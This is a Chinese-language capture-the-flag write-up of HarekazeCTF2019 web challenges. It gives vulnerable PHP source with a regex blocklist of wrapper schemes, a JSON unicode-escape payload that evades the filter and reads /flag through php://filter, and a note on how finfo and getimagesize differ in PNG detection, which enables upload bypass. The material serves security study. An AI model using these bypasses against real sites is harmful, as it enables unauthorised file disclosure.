[HarekazeCTF2019]encode_and_encode
知识点:
JSON转义字符绕过
\uXXXX
可以在JSON中转义字符,例如A
,\u0041
等效
json里可以识别 unicode码
php伪协议
php://filter/convert.base64-encode/resource=
|
<?php error_reporting(0);
if (isset($_GET['source'])) { show_source(__FILE__); exit(); }
function is_valid($str) { $banword = [ '\.\.', '(php|file|glob|data|tp|zip|zlib|phar):', 'flag' ]; $regexp = '/' . implode('|', $banword) . '/i'; if (preg_match($regexp, $str)) { return false; } return true; }
$body = file_get_contents('php://input'); $json = json_decode($body, true);
if (is_valid($body) && isset($json) && isset($json['page'])) { $page = $json['page']; $content = file_get_contents($page); if (!$content || !is_valid($content)) { $content = "<p>not found</p>\n"; } } else { $content = '<p>invalid request</p>'; }
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content); echo json_encode(['content
|
思路:
file_get_contents('php://input')
获取 post 的数据,json_decode($body, true)
用 json 格式解码 post 的数据,然后 is_valid($body)
对 post 数据检验,大概输入的格式如下
但是文件内容也校验 if (!$content || !is_valid($content)) {
就要用base64解密一下!
php和flag都unicode一下就可以了!
unicode
选择 中午转unicode

payload:
{"page":"\u0070\u0068\u0070://FilTer/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}
|

[HarekazeCTF2019]Avatar Uploader 1
知识点:
FILEINFO
可以识别 png
图片( 十六进制下 )的第一行,而 getimagesize
不可以
- 在这两种判断上传图片类型的函数中,有一个很有趣的现象,
FILEINFO
可以识别 png 图片( 十六进制下 )的第一行,而 getimagesize
不可以,代码如下
<?php $file = finfo_open(FILEINFO_MIME_TYPE);
var_dump(finfo_file($file, "test"));
$f = getimagesize("test"); var_dump($f[2] === IMAGETYPE_PNG);
|
结果,16进制文件也在下面



咋会有折磨变态的题!
[HarekazeCTF2019]baby_rop
session 伪造+反序列化! 没看懂!
https://xz.aliyun.com/t/6628#toc-2